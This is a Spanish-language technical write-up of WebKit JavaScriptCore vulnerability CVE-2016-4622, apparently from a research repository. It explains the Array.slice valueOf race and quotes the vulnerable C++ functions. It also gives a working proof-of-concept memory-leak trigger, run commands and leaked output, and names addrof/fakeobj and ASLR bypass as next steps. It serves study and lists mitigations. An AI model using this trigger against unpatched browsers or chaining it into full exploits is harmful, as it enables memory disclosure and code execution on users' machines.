Análisis de WebKit CVE-2016-4622: Inmersión Profunda en la Vulnerabilidad del Slice ValueOf Fastpath

Análisis completo y explotación de la vulnerabilidad del núcleo JavaScript de WebKit que permite la divulgación de memoria mediante la manipulación de Array.slice

Tabla de Contenidos

• Resumen Ejecutivo
• Resumen de la Vulnerabilidad
• Configuración del Entorno de Investigación
• Análisis Técnico
• Guía de Explotación
• Hallazgos Clave
• Recursos y Referencias

Resumen Ejecutivo

Este repositorio contiene un análisis completo de CVE-2016-4622, una vulnerabilidad crítica de divulgación de memoria en el motor JavaScript Core de WebKit. La vulnerabilidad se origina por una condición de carrera en la implementación de Array.slice() que puede ser explotada para filtrar contenidos de memoria adyacente, sirviendo como base para primitivas de explotación más sofisticadas como addrof y fakeobj.

Impacto: Divulgación de memoria que puede llevar a la ejecución remota de código Componente Afectado: JavaScript Core de WebKit (JSC) Causa Raíz: Vulnerabilidad de tiempo de verificación-tiempo de uso (TOCTOU) en la implementación de fastSlice

Resumen de la Vulnerabilidad

El Problema Central

La vulnerabilidad existe en la "ruta rápida" optimizada de WebKit para el método Array.slice(). Al procesar los parámetros de slice, el motor convierte los argumentos de objeto a valores primitivos llamando a su método valueOf(). Esta conversión ocurre después de determinar los parámetros de la operación slice pero antes de la operación real de copia de memoria.

Vector de Ataque

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

Qué sucede:

1. El array a se crea con 100 elementos
2. Durante el procesamiento de parámetros de slice, se llama a valueOf()
3. El valueOf() malicioso reduce el array a longitud 0
4. memcpy intenta copiar 10 elementos de un array vacío
5. Resultado: Se copia memoria adyacente, causando divulgación de información

Configuración del Entorno de Investigación

Estructura del Repositorio

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Reference implementation by Saelo
├── Exploit/                        # Custom exploitation attempts
│   ├── poc-memleak.js             # Memory leak proof-of-concept
│   └── slice_over_array.js        # Educational examples
├── WebKit-SRC-CVE-2016-4622/     # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/                   # Compiled binaries for testing
│   ├── Debug/                     # Debug build with symbols
│   └── ASAN/                      # AddressSanitizer enabled build
└── Screenshoots/                  # Visual documentation

Entorno de Pruebas

Binarios: Binarios JSC precompilados construidos en VMWare OSX 10.11 con XCode 7.3.2 Arquitectura: Ejecutables x86_64 Mach-O Características de Depuración: Símbolos + AddressSanitizer para un análisis completo

Ejecutando la Prueba de Concepto

cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Análisis Técnico

Entendiendo la Mecánica de Array.slice()

El método Array.slice(begin, end) crea una copia superficial de una porción de un array. En circunstancias normales:

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Returns ['b', 'c']

Punto clave: El parámetro end sufre una conversión de tipo mediante valueOf(), creando una ventana para la explotación.

Análisis de la Pila de Llamadas

Cuando se activa la vulnerabilidad, AddressSanitizer captura este flujo de llamadas:

#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

Análisis Detallado: Análisis Función por Función

1. arrayProtoFuncSlice() - Punto de Entrada

Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - El Desencadenante de la Conversión

Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

La Condición de Carrera:

• Al procesar el segundo parámetro {valueOf: function() { a.length = 0; return 10; }}
• value.toInteger(exec) llama a nuestro valueOf() malicioso
• Nuestra función modifica la longitud del array de 100 a 0
• Pero los parámetros de la operación slice (inicio=0, fin=10) permanecen sin cambios

3. fastSlice() - Donde Ocurre la Corrupción de Memoria

Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

La Corrupción de Memoria:

• startIndex = 0, count = 10
• La longitud del array ahora es 0 (modificada por valueOf())
• memcpy lee 10 JSValues comenzando desde el índice 0
• Como el array está vacío, esto lee memoria adyacente del montón
• Resultado: Vulnerabilidad de divulgación de información

Guía de Explotación

Flujo de Ataque Paso a Paso

1. Fase de Configuración

   root@kitploit:~

   var a = [];
   for (var i = 0; i < 100; i++)
       a.push(i + 0.123);
   

   • Crea un tipo ArrayWithDouble con 100 elementos
   • Los elementos se almacenan de forma contigua en memoria

2. Fase de Disparo

   root@kitploit:~

   var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
   

   • Inicia la operación slice con un objeto malicioso como parámetro final
   • La validación de la ruta rápida pasa (el array parece normal)

3. Fase de Explotación

   • La conversión de parámetros llama a valueOf()
   • La longitud del array se reduce a 0
   • fastSlice intenta copiar 10 elementos del array vacío
   • La memoria adyacente se filtra al array resultante

4. Resultado

   root@kitploit:~

   0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
   

   • Primeros dos valores: datos legítimos del array
   • Valores restantes: memoria adyacente filtrada

Representación Visual

Before valueOf():  [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf():   [] (length=0)
memcpy reads:      [0.123][1.123][LEAKED][LEAKED][LEAKED]...

Hallazgos Clave

Análisis de Causa Raíz

Primitivas de Explotación

Esta vulnerabilidad sirve como base para:

• Divulgación de Información: Capacidad de fuga de memoria directa
• Omisión de ASLR: Posible revelación del diseño del espacio de direcciones
• Confusión de Tipo: Configuración para primitivas addrof/fakeobj

Consideraciones Defensivas

Estrategias de Mitigación:

• Validar los límites del array antes de las operaciones memcpy
• Implementar verificación consistente del estado en las rutas rápidas
• Agregar verificación de límites en tiempo de ejecución para operaciones optimizadas

Recursos y Referencias

Artículos y Documentos de Investigación

• Atacando Motores JavaScript - Saelo (Phrack)
• Análisis de CVE-2016-4622 - TuringH
• Análisis Detallado - null2root
• Tutorial de Explotación de WebKit

Documentación Técnica

• Array.slice() - Documentación Web de MDN
• Código Fuente de WebKit
• Arquitectura de JavaScript Core

Herramientas y Entorno

• Commit Vulnerable: 320b1fc3f6f
• Entorno de Compilación: VMWare OSX 10.11, XCode 7.3.2
• Herramientas de Análisis: AddressSanitizer, GDB, Compilaciones de Depuración de JSC

Cronología de Investigación: 11-12 de abril de 2020
Estado: Análisis Completado ✅
Próximos Pasos: Desarrollo de la cadena de explotación completa con primitivas addrof/fakeobj